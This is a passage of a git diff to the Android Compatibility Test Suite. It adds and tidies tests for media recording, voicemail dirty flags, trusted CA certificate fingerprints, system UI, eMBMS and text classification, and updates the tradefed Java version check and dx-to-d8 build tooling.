+        mediaRecorder.removeOnRoutingChangedListener(someOtherListener);
+        // remove a valid listener
+        mediaRecorder.removeOnRoutingChangedListener(listener);
+
+        Looper myLooper = prepareIfNeededLooper();
+        mediaRecorder.addOnRoutingChangedListener(listener, new Handler());
+        mediaRecorder.removeOnRoutingChangedListener(listener);
+
+        Thread.sleep(RECORD_TIME_MS);
+
+        mediaRecorder.stop();
+        mediaRecorder.release();
+        if (myLooper != null) {
+            myLooper.quit();
+        }
+    }
 }
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index 0f63dae..808fe9f 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -66,6 +66,21 @@
  */
 public class FileSystemPermissionTest extends AndroidTestCase {
 
+    private int dumpable;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        dumpable = Os.prctl(OsConstants.PR_GET_DUMPABLE, 0, 0, 0, 0);
+        Os.prctl(OsConstants.PR_SET_DUMPABLE, 1, 0, 0, 0);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        Os.prctl(OsConstants.PR_SET_DUMPABLE, dumpable, 0, 0, 0);
+        super.tearDown();
+    }
+
     @MediumTest
     public void testCreateFileHasSanePermissions() throws Exception {
         File myFile = new File(getContext().getFilesDir(), "hello");
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java b/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
index bdc973b..3f4aea2 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
@@ -104,7 +104,7 @@
         final int SOURCE_DATA_INDEX = 6;
         final int HAS_CONTENT_INDEX = 7;
         final int MIME_TYPE_INDEX = 8;
-        final int TRANSCRIPTION_INDEX= 9;
+        final int TRANSCRIPTION_INDEX = 9;
         final int PHONE_ACCOUNT_COMPONENT_NAME_INDEX = 10;
         final int PHONE_ACCOUNT_ID_INDEX = 11;
         final int DIRTY_INDEX = 12;
@@ -160,15 +160,15 @@
         assertEquals(insertMimeType, cursor.getString(MIME_TYPE_INDEX));
         assertEquals(0, cursor.getInt(IS_READ_INDEX));
         assertEquals(1, cursor.getInt(HAS_CONTENT_INDEX));
-        assertEquals("foo",cursor.getString(TRANSCRIPTION_INDEX));
-        assertEquals("com.foo",cursor.getString(PHONE_ACCOUNT_COMPONENT_NAME_INDEX));
-        assertEquals("bar",cursor.getString(PHONE_ACCOUNT_ID_INDEX));
-        assertEquals(0,cursor.getInt(DIRTY_INDEX));
-        assertEquals(0,cursor.getInt(DELETED_INDEX));
-        assertEquals(0,cursor.getInt(BACKED_UP_INDEX));
-        assertEquals(0,cursor.getInt(RESTORED_INDEX));
-        assertEquals(0,cursor.getInt(ARCHIVED_INDEX));
-        assertEquals(0,cursor.getInt(IS_OMTP_VOICEMAIL_INDEX));
+        assertEquals("foo", cursor.getString(TRANSCRIPTION_INDEX));
+        assertEquals("com.foo", cursor.getString(PHONE_ACCOUNT_COMPONENT_NAME_INDEX));
+        assertEquals("bar", cursor.getString(PHONE_ACCOUNT_ID_INDEX));
+        assertEquals(0, cursor.getInt(DIRTY_INDEX));
+        assertEquals(0, cursor.getInt(DELETED_INDEX));
+        assertEquals(0, cursor.getInt(BACKED_UP_INDEX));
+        assertEquals(0, cursor.getInt(RESTORED_INDEX));
+        assertEquals(0, cursor.getInt(ARCHIVED_INDEX));
+        assertEquals(0, cursor.getInt(IS_OMTP_VOICEMAIL_INDEX));
         int id = cursor.getInt(ID_INDEX);
         assertEquals(id, Integer.parseInt(uri.getLastPathSegment()));
         cursor.close();
@@ -196,12 +196,12 @@
         assertEquals(updateDate, cursor.getLong(DATE_INDEX));
         assertEquals(updateCallsDuration, cursor.getLong(DURATION_INDEX));
         assertEquals(updateSourceData, cursor.getString(SOURCE_DATA_INDEX));
-        assertEquals(1,cursor.getInt(DIRTY_INDEX));
-        assertEquals(1,cursor.getInt(DELETED_INDEX));
-        assertEquals(1,cursor.getInt(BACKED_UP_INDEX));
-        assertEquals(1,cursor.getInt(RESTORED_INDEX));
-        assertEquals(1,cursor.getInt(ARCHIVED_INDEX));
-        assertEquals(1,cursor.getInt(IS_OMTP_VOICEMAIL_INDEX));
+        assertEquals(1, cursor.getInt(DIRTY_INDEX));
+        assertEquals(1, cursor.getInt(DELETED_INDEX));
+        assertEquals(1, cursor.getInt(BACKED_UP_INDEX));
+        assertEquals(1, cursor.getInt(RESTORED_INDEX));
+        assertEquals(1, cursor.getInt(ARCHIVED_INDEX));
+        assertEquals(1, cursor.getInt(IS_OMTP_VOICEMAIL_INDEX));
         cursor.close();
 
         // Test: delete
@@ -213,7 +213,7 @@
     }
 
     public void testForeignUpdate_dirty() throws Exception {
-        if(!hasTelephony(getInstrumentation().getContext())){
+        if (!hasTelephony(getInstrumentation().getContext())) {
             Log.d(TAG, "skipping test that requires telephony feature");
             return;
         }
@@ -234,8 +234,34 @@
         }
     }
 
+    public void testForeignUpdate_retainDirty_notDirty() throws Exception {
+        if (!hasTelephony(getInstrumentation().getContext())) {
+            Log.d(TAG, "skipping test that requires telephony feature");
+            return;
+        }
+        // only the default dialer has WRITE_VOICEMAIL permission, which can modify voicemails of
+        // a foreign source package.
+        setTestAsDefaultDialer();
+        ContentValues values = new ContentValues();
+        values.put(Voicemails.SOURCE_PACKAGE, FOREIGN_SOURCE);
+
+        Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
+
+        ContentValues newValues = new ContentValues();
+        newValues.put(Voicemails.TRANSCRIPTION, "foo");
+        newValues.put(Voicemails.DIRTY, Voicemails.DIRTY_RETAIN);
+
+        mVoicemailProvider.update(uri, newValues, null, null);
+
+        try (Cursor cursor = mVoicemailProvider
+                .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+            cursor.moveToFirst();
+            assertEquals(0, cursor.getInt(0));
+        }
+    }
+
     public void testForeignUpdate_explicitNotDirty() throws Exception {
-        if(!hasTelephony(getInstrumentation().getContext())){
+        if (!hasTelephony(getInstrumentation().getContext())) {
             Log.d(TAG, "skipping test that requires telephony feature");
             return;
         }
@@ -246,7 +272,7 @@
         Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
 
         ContentValues updateValues = new ContentValues();
-        updateValues.put(Voicemails.DIRTY,0);
+        updateValues.put(Voicemails.DIRTY, 0);
         mVoicemailProvider.update(uri, updateValues, null, null);
 
         try (Cursor cursor = mVoicemailProvider
@@ -257,7 +283,7 @@
     }
 
     public void testForeignUpdate_null_dirty() throws Exception {
-        if(!hasTelephony(getInstrumentation().getContext())){
+        if (!hasTelephony(getInstrumentation().getContext())) {
             Log.d(TAG, "skipping test that requires telephony feature");
             return;
         }
@@ -279,7 +305,7 @@
     }
 
     public void testForeignUpdate_NotNormalized_normalized() throws Exception {
-        if(!hasTelephony(getInstrumentation().getContext())){
+        if (!hasTelephony(getInstrumentation().getContext())) {
             Log.d(TAG, "skipping test that requires telephony feature");
             return;
         }
@@ -303,7 +329,7 @@
     public void testLocalUpdate_notDirty() throws Exception {
 
         ContentValues values = new ContentValues();
-        values.put(Voicemails.DIRTY,1);
+        values.put(Voicemails.DIRTY, 1);
 
         Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(mSourcePackageName), values);
 
@@ -316,6 +342,25 @@
         }
     }
 
+    public void testLocalUpdate_retainDirty_dirty() throws Exception {
+
+        ContentValues values = new ContentValues();
+        values.put(Voicemails.DIRTY, 1);
+
+        Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(mSourcePackageName), values);
+
+        ContentValues newValues = new ContentValues();
+        newValues.put(Voicemails.TRANSCRIPTION, "foo");
+        newValues.put(Voicemails.DIRTY, Voicemails.DIRTY_RETAIN);
+
+        mVoicemailProvider.update(uri, newValues, null, null);
+
+        try (Cursor cursor = mVoicemailProvider
+                .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+            cursor.moveToFirst();
+            assertEquals(cursor.getInt(0), 1);
+        }
+    }
 
     // Data column should be automatically generated during insert.
     public void testInsert_doesNotUpdateDataColumn() throws Exception {
@@ -351,7 +396,7 @@
     private void assertDataNotEquals(String newFilePath) throws RemoteException {
         // Make sure data value is not actually updated.
         final Cursor cursor = mVoicemailProvider.query(mVoicemailContentUri,
-                new String[]{Voicemails._DATA}, null, null, null);
+                new String[] {Voicemails._DATA}, null, null, null);
         cursor.moveToNext();
         final String data = cursor.getString(0);
         assertFalse(data.equals(newFilePath));
@@ -494,10 +539,10 @@
                 packageManager.hasSystemFeature(PackageManager.FEATURE_CONNECTION_SERVICE);
     }
 
-    private void setTestAsDefaultDialer() throws Exception{
+    private void setTestAsDefaultDialer() throws Exception {
         assertTrue(mPreviousDefaultDialer == null);
         mPreviousDefaultDialer = getDefaultDialer(getInstrumentation());
-        setDefaultDialer(getInstrumentation(),PACKAGE);
+        setDefaultDialer(getInstrumentation(), PACKAGE);
     }
 
     private static String setDefaultDialer(Instrumentation instrumentation, String packageName)
diff --git a/tests/tests/security/src/android/security/cts/CertificateData.java b/tests/tests/security/src/android/security/cts/CertificateData.java
index b880f5f..68ec092 100644
--- a/tests/tests/security/src/android/security/cts/CertificateData.java
+++ b/tests/tests/security/src/android/security/cts/CertificateData.java
@@ -36,7 +36,6 @@
       "75:E0:AB:B6:13:85:12:27:1C:04:F8:5F:DD:DE:38:E4:B7:24:2E:FE",
       "DA:C9:02:4F:54:D8:F6:DF:94:93:5F:B1:73:26:38:CA:6A:D7:7C:13",
       "74:20:74:41:72:9C:DD:92:EC:79:31:D8:23:10:8D:C2:81:92:E2:BB",
-      "40:54:DA:6F:1C:3F:40:74:AC:ED:0F:EC:CD:DB:79:D1:53:FB:90:1D",
       "F4:8B:11:BF:DE:AB:BE:94:54:20:71:E6:41:DE:6B:BE:88:2B:40:B9",
       "58:E8:AB:B0:36:15:33:FB:80:F7:9B:1B:6D:29:D3:FF:8D:5F:00:F0",
       "55:A6:72:3E:CB:F2:EC:CD:C3:23:74:70:19:9D:2A:BE:11:E3:81:D1",
@@ -51,6 +50,7 @@
       "DA:FA:F7:FA:66:84:EC:06:8F:14:50:BD:C7:C2:81:A5:BC:A9:64:57",
       "74:F8:A3:C3:EF:E7:B3:90:06:4B:83:90:3C:21:64:60:20:E5:DF:CE",
       "31:43:64:9B:EC:CE:27:EC:ED:3A:3F:0B:8F:0D:E4:E8:91:DD:EE:CA",
+      "B7:AB:33:08:D1:EA:44:77:BA:14:80:12:5A:6F:BD:A9:36:49:0C:BB",
       "5F:43:E5:B1:BF:F8:78:8C:AC:1C:C7:CA:4A:9A:C6:22:2B:CC:34:C6",
       "2B:8F:1B:57:33:0D:BB:A2:D0:7A:6C:51:F7:0E:E9:0D:DA:B9:AD:8E",
       "79:5F:88:60:C5:AB:7C:3D:92:E6:CB:F4:8D:E1:45:CD:11:EF:60:0B",
@@ -64,7 +64,6 @@
       "59:AF:82:79:91:86:C7:B4:75:07:CB:CF:03:57:46:EB:04:DD:B7:16",
       "50:30:06:09:1D:97:D4:F5:AE:39:F7:CB:E7:92:7D:7D:65:2D:34:31",
       "FE:45:65:9B:79:03:5B:98:A1:61:B5:51:2E:AC:DA:58:09:48:22:4D",
-      "1B:4B:39:61:26:27:6B:64:91:A2:68:6D:D7:02:43:21:2D:1F:1D:96",
       "8C:F4:27:FD:79:0C:3A:D1:66:06:8D:E8:1E:57:EF:BB:93:22:72:D4",
       "2F:78:3D:25:52:18:A7:4A:65:39:71:B5:2C:A2:9C:45:15:6F:E9:19",
       "BA:29:41:60:77:98:3F:F4:F3:EF:F2:31:05:3B:2E:EA:6D:4D:45:FD",
@@ -73,6 +72,7 @@
       "36:79:CA:35:66:87:72:30:4D:30:A5:FB:87:3B:0F:A7:7B:B7:0D:54",
       "1B:8E:EA:57:96:29:1A:C9:39:EA:B8:0A:81:1A:73:73:C0:93:79:67",
       "6E:26:64:F3:56:BF:34:55:BF:D1:93:3F:7C:01:DE:D8:13:DA:8A:A6",
+      "74:3A:F0:52:9B:D0:32:A0:F4:4A:83:CD:D4:BA:A9:7B:7C:2E:C4:9A",
       "D8:EB:6B:41:51:92:59:E0:F3:E7:85:00:C0:3D:B6:88:97:C9:EE:FC",
       "66:31:BF:9E:F7:4F:9E:B6:C9:D5:A6:0C:BA:6A:BE:D1:F7:BD:EF:7B",
       "DE:3F:40:BD:50:93:D3:9B:6C:60:F6:DA:BC:07:62:01:00:89:76:C9",
@@ -83,14 +83,14 @@
       "43:13:BB:96:F1:D5:86:9B:C1:4E:6A:92:F6:CF:F6:34:69:87:82:37",
       "F1:8B:53:8D:1B:E9:03:B6:A6:F0:56:43:5B:17:15:89:CA:F3:6B:F2",
       "05:63:B8:63:0D:62:D7:5A:BB:C8:AB:1E:4B:DF:B5:A8:99:B2:4D:43",
-      "62:52:DC:40:F7:11:43:A2:2F:DE:9E:F7:34:8E:06:42:51:B1:81:18",
       "70:17:9B:86:8C:00:A4:FA:60:91:52:22:3F:9F:3E:32:BD:E0:05:62",
       "D1:EB:23:A4:6D:17:D6:8F:D9:25:64:C2:F1:F1:60:17:64:D8:E3:49",
       "B8:01:86:D1:EB:9C:86:A5:41:04:CF:30:54:F3:4C:52:B7:E5:58:C6",
-      "2E:14:DA:EC:28:F0:FA:1E:8E:38:9A:4E:AB:EB:26:C0:0A:D3:83:C3",
+      "4C:DD:51:A3:D1:F5:20:32:14:B0:C6:C5:32:23:03:91:C7:46:42:6D",
       "DE:28:F4:A4:FF:E5:B9:2F:A3:C5:03:D1:A3:49:A7:F9:96:2A:82:12",
       "0D:44:DD:8C:3C:8C:1A:1A:58:75:64:81:E9:0F:2E:2A:FF:B3:D2:6E",
       "CA:3A:FB:CF:12:40:36:4B:44:B2:16:20:88:80:48:39:19:93:7C:F7",
+      "FF:BD:CD:E7:82:C8:43:5E:3C:6F:26:86:5C:CA:A8:3A:45:5B:C3:0A",
       "13:2D:0D:45:53:4B:69:97:CD:B2:D5:C3:39:E2:55:76:60:9B:5C:C6",
       "5F:B7:EE:06:33:E2:59:DB:AD:0C:4C:9A:E6:D3:8F:1A:61:C7:DC:25",
       "49:0A:75:74:DE:87:0A:47:FE:58:EE:F6:C7:6B:EB:C6:0B:12:40:99",
@@ -98,6 +98,7 @@
       "29:36:21:02:8B:20:ED:02:F5:66:C5:32:D1:D6:ED:90:9F:45:00:2F",
       "37:9A:19:7B:41:85:45:35:0C:A6:03:69:F3:3C:2E:AF:47:4F:20:79",
       "FA:B7:EE:36:97:26:62:FB:2D:B0:2A:F6:BF:03:FD:E8:7C:4B:2F:9B",
+      "C3:19:7C:39:24:E6:54:AF:1B:C4:AB:20:95:7A:E2:C3:0E:13:02:6A",
       "9F:74:4E:9F:2B:4D:BA:EC:0F:31:2C:50:B6:56:3B:8E:2D:93:C3:11",
       "A1:4B:48:D9:43:EE:0A:0E:40:90:4F:3C:E0:A4:C0:91:93:51:5D:3F",
       "C9:A8:B9:E7:55:80:5E:58:E3:53:77:A7:25:EB:AF:C3:7B:27:CC:D7",
@@ -119,6 +120,7 @@
       "AA:DB:BC:22:23:8F:C4:01:A1:27:BB:38:DD:F4:1D:DB:08:9E:F0:12",
       "E2:52:FA:95:3F:ED:DB:24:60:BD:6E:28:F3:9C:CC:CF:5E:B3:3F:DE",
       "3B:C4:9F:48:F8:F3:73:A0:9C:1E:BD:F8:5B:B1:C3:65:C7:D8:11:B3",
+      "0F:36:38:5B:81:1A:25:C3:9B:31:4E:83:CA:E9:34:66:70:CC:74:B4",
       "28:90:3A:63:5B:52:80:FA:E6:77:4C:0B:6D:A7:D6:BA:A6:4A:F2:E8",
       "9C:BB:48:53:F6:A4:F6:D3:52:A4:E8:32:52:55:60:13:F5:AD:AF:65",
       "B1:BC:96:8B:D4:F4:9D:62:2A:A8:9A:81:F2:15:01:52:A4:1D:82:9C",
@@ -129,6 +131,7 @@
       "47:BE:AB:C9:22:EA:E8:0E:78:78:34:62:A7:9F:45:C2:54:FD:E6:8B",
       "3A:44:73:5A:E5:81:90:1F:24:86:61:46:1E:3B:9C:C4:5F:F5:3A:1B",
       "B3:1E:B1:B7:40:E3:6C:84:02:DA:DC:37:D4:4D:F5:D4:67:49:52:F9",
+      "58:D1:DF:95:95:67:6B:63:C0:F0:5B:1C:17:4D:8B:84:0B:C8:78:BD",
       "F5:17:A2:4F:9A:48:C6:C9:F8:A2:00:26:9F:DC:0F:48:2C:AB:30:89",
       "3B:C0:38:0B:33:C3:F6:A6:0C:86:15:22:93:D9:DF:F5:4B:81:C0:04",
       "03:9E:ED:B8:0B:E7:A0:3C:69:53:89:3B:20:D2:D9:32:3A:4C:2A:FD",
@@ -139,12 +142,12 @@
       "B8:23:6B:00:2F:1D:16:86:53:01:55:6C:11:A4:37:CA:EB:FF:C3:BB",
       "87:82:C6:C3:04:35:3B:CF:D2:96:92:D2:59:3E:7D:44:D9:34:FF:11",
       "59:0D:2D:7D:88:4F:40:2E:61:7E:A5:62:32:17:65:CF:17:D8:94:E9",
+      "B8:BE:6D:CB:56:F1:55:B9:63:D4:12:CA:4E:06:34:C7:94:B2:1C:C0",
       "AE:C5:FB:3F:C8:E1:BF:C4:E5:4F:03:07:5A:9A:E8:00:B7:F7:B6:FA",
       "DF:71:7E:AA:4A:D9:4E:C9:55:84:99:60:2D:48:DE:5F:BC:F0:3A:25",
       "F6:10:84:07:D6:F8:BB:67:98:0C:C2:E2:44:C2:EB:AE:1C:EF:63:BE",
       "AF:E5:D2:44:A8:D1:19:42:30:FF:47:9F:E2:F8:97:BB:CD:7A:8C:B4",
       "5F:3B:8C:F2:F8:10:B3:7D:78:B4:CE:EC:19:19:C3:73:34:B9:C7:74",
-      "F1:7F:6F:B6:31:DC:99:E3:A3:C8:7F:FE:1C:F1:81:10:88:D9:60:33",
       "9D:70:BB:01:A5:A4:A0:18:11:2E:F7:1C:01:B9:32:C5:34:E7:88:A8",
       "96:C9:1B:0B:95:B4:10:98:42:FA:D0:D8:22:79:FE:60:FA:B9:16:83",
       "4F:65:8E:1F:E9:06:D8:28:02:E9:54:47:41:C9:54:25:5D:69:CC:1A",
@@ -155,7 +158,6 @@
       "F9:B5:B6:32:45:5F:9C:BE:EC:57:5F:80:DC:E9:6E:2C:C7:B2:78:B7",
       "E6:21:F3:35:43:79:05:9A:4B:68:30:9D:8A:2F:74:22:15:87:EC:79",
       "89:DF:74:FE:5C:F4:0F:4A:80:F9:E3:37:7D:54:DA:91:E1:01:31:8E",
-      "E0:B4:32:2E:B2:F6:A5:68:B6:54:53:84:48:18:4A:50:36:87:43:84",
       "7E:04:DE:89:6A:3E:66:6D:00:E6:87:D3:3F:FA:D9:3B:E8:3D:34:9E",
       "6E:3A:55:A4:19:0C:19:5C:93:84:3C:C0:DB:72:2E:31:30:61:F0:B1",
       "4E:B6:D5:78:49:9B:1C:CF:5F:58:1E:AD:56:BE:3D:9B:67:44:A5:E5",
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
index b385ecd..282a002 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
@@ -19,7 +19,9 @@
 import static android.support.test.InstrumentationRegistry.getInstrumentation;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
 
+import android.content.pm.PackageManager;
 import android.graphics.Bitmap;
 import android.support.test.rule.ActivityTestRule;
 import android.support.test.runner.AndroidJUnit4;
@@ -48,6 +50,8 @@
 
     @Before
     public void setUp() {
+        assumeFalse(getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_EMBEDDED));
         mDevice = UiDevice.getInstance(getInstrumentation());
     }
 
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadReceiverTest.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadReceiverTest.java
index 2495af3..0d88f13 100644
--- a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadReceiverTest.java
+++ b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadReceiverTest.java
@@ -95,7 +95,12 @@
         tempFileRootDir = new File(mContext.getFilesDir(), "CtsTestDir");
         tempFileRootDir.mkdir();
         tempFileRootDirPath = tempFileRootDir.getCanonicalPath();
-        mDownloadSession.setTempFileRootDirectory(tempFileRootDir);
+        try {
+            mDownloadSession.setTempFileRootDirectory(tempFileRootDir);
+        } catch (IllegalStateException e) {
+            tearDown();
+            throw e;
+        }
     }
 
     @Override
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadTestBase.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadTestBase.java
index 3f490ad..9da5f04 100644
--- a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadTestBase.java
+++ b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadTestBase.java
@@ -33,6 +33,7 @@
 import android.telephony.mbms.FileServiceInfo;
 import android.telephony.mbms.MbmsDownloadSessionCallback;
 import android.test.InstrumentationTestCase;
+import android.util.Log;
 
 import com.android.internal.os.SomeArgs;
 
@@ -61,6 +62,8 @@
             args.arg1 = errorCode;
             args.arg2 = message;
             mErrorCalls.add(args);
+            Log.i(MbmsDownloadTestBase.class.getSimpleName(),
+                    "Got error: " + errorCode + ": " + message);
         }
 
         @Override
@@ -121,6 +124,7 @@
         mHandlerThread = new HandlerThread("EmbmsCtsTestWorker");
         mHandlerThread.start();
         mCallbackHandler = new Handler(mHandlerThread.getLooper());
+        mCallback = new TestCallback();
         getControlBinder();
         setupDownloadSession();
     }
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingTestBase.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingTestBase.java
index be06109..e170998 100644
--- a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingTestBase.java
+++ b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingTestBase.java
@@ -98,6 +98,7 @@
         mHandlerThread = new HandlerThread("EmbmsCtsTestWorker");
         mHandlerThread.start();
         mCallbackHandler = new Handler(mHandlerThread.getLooper());
+        mCallback = new TestCallback();
         getControlBinder();
         setupStreamingSession();
     }
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
index ffc0b5f8..125374d 100644
--- a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
@@ -97,8 +97,7 @@
 
     @Test
     public void testGenerateLinks() {
-        assertValidResult(mClassifier.generateLinks(TEXT,
-                new TextLinks.Options.Builder().setLocaleList(LOCALES).build()));
+        assertValidResult(mClassifier.generateLinks(TEXT, null));
     }
 
     @Test
@@ -110,6 +109,8 @@
 
     private static void assertValidResult(TextSelection selection) {
         assertNotNull(selection);
+        assertTrue(selection.getSelectionStartIndex() >= 0);
+        assertTrue(selection.getSelectionEndIndex() > selection.getSelectionStartIndex());
         assertTrue(selection.getEntityCount() >= 0);
         for (int i = 0; i < selection.getEntityCount(); i++) {
             final String entity = selection.getEntity(i);
@@ -130,7 +131,7 @@
             assertTrue(confidenceScore >= 0);
             assertTrue(confidenceScore <= 1);
         }
-        assertTrue(classification.getActionCount() >= 0);
+        assertTrue(classification.getSecondaryActionsCount() >= 0);
     }
 
     private static void assertValidResult(TextLinks links) {
@@ -148,6 +149,4 @@
             }
         }
     }
-
 }
-
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index d898fb5..966fe19 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -47,6 +47,7 @@
 import android.transition.Transition.TransitionListener;
 import android.transition.TransitionValues;
 import android.util.AttributeSet;
+import android.util.DisplayMetrics;
 import android.view.Display;
 import android.view.Gravity;
 import android.view.MotionEvent;
@@ -1429,6 +1430,16 @@
 
     @Test
     public void testAnchorInPopup() throws Throwable {
+        DisplayMetrics displayMetrics = mActivity.getResources().getDisplayMetrics();
+        float dpWidth = displayMetrics.widthPixels / displayMetrics.density;
+        float dpHeight = displayMetrics.heightPixels / displayMetrics.density;
+        final int minDisplaySize = 320;
+        if (dpWidth < minDisplaySize || dpHeight < minDisplaySize) {
+            // On smaller screens the popups that this test is creating
+            // are not guaranteed to be properly aligned to their anchors.
+            return;
+        }
+
         mPopupWindow = createPopupWindow(
                 mActivity.getLayoutInflater().inflate(R.layout.popup_window, null));
 
diff --git a/tools/cts-tradefed/etc/cts-tradefed b/tools/cts-tradefed/etc/cts-tradefed
index 7560b62..4f36b8f 100755
--- a/tools/cts-tradefed/etc/cts-tradefed
+++ b/tools/cts-tradefed/etc/cts-tradefed
@@ -36,18 +36,10 @@
 checkPath java
 
 # check java version
-if [ "${EXPERIMENTAL_USE_OPENJDK9}" == "" ]; then
-    JAVA_VERSION=$(java -version 2>&1 | head -n 2 | grep '[ "]1\.[678][\. "$$]')
-    if [ "${JAVA_VERSION}" == "" ]; then
-        echo "Wrong java version. 1.6, 1.7 or 1.8 is required."
-        exit
-    fi
-else
-    JAVA_VERSION=$(java -version 2>&1 | head -n 2 | grep '^java .* "9.*')
-    if [ "${JAVA_VERSION}" == "" ]; then
-        echo "Wrong java version. Version 9 is required."
-        exit
-    fi
+JAVA_VERSION=$(java -version 2>&1 | head -n 1 | grep 'version [ "]\(1\.8\|9\).*[ "]')
+if [ "${JAVA_VERSION}" == "" ]; then
+    echo "Wrong java version. 1.8 or 9 is required."
+    exit
 fi
 
 # check debug flag and set up remote debugging
diff --git a/tools/cts-tradefed/res/config/cts-device-files.xml b/tools/cts-tradefed/res/config/cts-device-files.xml
index 92a3e28..6acf7bb 100644
--- a/tools/cts-tradefed/res/config/cts-device-files.xml
+++ b/tools/cts-tradefed/res/config/cts-device-files.xml
@@ -23,30 +23,6 @@
     </target_preparer>
 
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceFileCollector">
-        <option name="src-file" value="/system/manifest.xml" />
-        <option name="dest-file" value="vintf-files/framework_manifest.xml"/>
-        <option name="property" key="ro.treble.enabled" value="true"/>
-    </target_preparer>
-
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceFileCollector">
-        <option name="src-file" value="/system/compatibility_matrix.xml" />
-        <option name="dest-file" value="vintf-files/framework_compatibility_matrix.xml"/>
-        <option name="property" key="ro.treble.enabled" value="true"/>
-    </target_preparer>
-
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceFileCollector">
-        <option name="src-file" value="/vendor/manifest.xml" />
-        <option name="dest-file" value="vintf-files/device_manifest.xml"/>
-        <option name="property" key="ro.treble.enabled" value="true"/>
-    </target_preparer>
-
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceFileCollector">
-        <option name="src-file" value="/vendor/compatibility_matrix.xml" />
-        <option name="dest-file" value="vintf-files/device_compatibility_matrix.xml"/>
-        <option name="property" key="ro.treble.enabled" value="true"/>
-    </target_preparer>
-
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DeviceFileCollector">
         <option name="src-file" value="/proc/config.gz" />
         <option name="dest-file" value="vintf-files/proc_config.gz"/>
         <option name="property" key="ro.treble.enabled" value="true"/>
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index fdcdfba..8c3d78f 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk
@@ -43,7 +43,7 @@
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 LOCAL_MODULE_TAGS := optional
 
-LOCAL_JAVA_LIBRARIES := dx dasm cfassembler junit-host jsr305lib
+LOCAL_JAVA_LIBRARIES := dx dasm cfassembler junit-host jsr305lib d8
 
 LOCAL_CLASSPATH := $(HOST_JDK_TOOLS_JAR)
 
@@ -72,7 +72,7 @@
 vmteststf_dep_jars := \
     $(HOST_JDK_TOOLS_JAR) \
     $(cts-tf-dalvik-lib.jar) \
-    $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar dasm.jar dx.jar cfassembler.jar junit-host.jar)
+    $(addprefix $(HOST_OUT_JAVA_LIBRARIES)/, cts-tf-dalvik-buildutil.jar dasm.jar dx.jar cfassembler.jar junit-host.jar d8.jar)
 
 $(LOCAL_BUILT_MODULE): PRIVATE_SRC_FOLDER := $(LOCAL_PATH)/src
 $(LOCAL_BUILT_MODULE): PRIVATE_INTERMEDIATES_CLASSES := $(call intermediates-dir-for,JAVA_LIBRARIES,cts-tf-dalvik-buildutil,HOST)/classes
diff --git a/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java b/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
index f8bf13a..e9e1996 100644
--- a/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
+++ b/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
@@ -445,7 +445,7 @@
 
         }
 
-        DxBuildStep dexBuildStep = new DxBuildStep(
+        D8BuildStep dexBuildStep = new D8BuildStep(
             new BuildStep.BuildFile(new File(CLASSES_OUTPUT_FOLDER)),
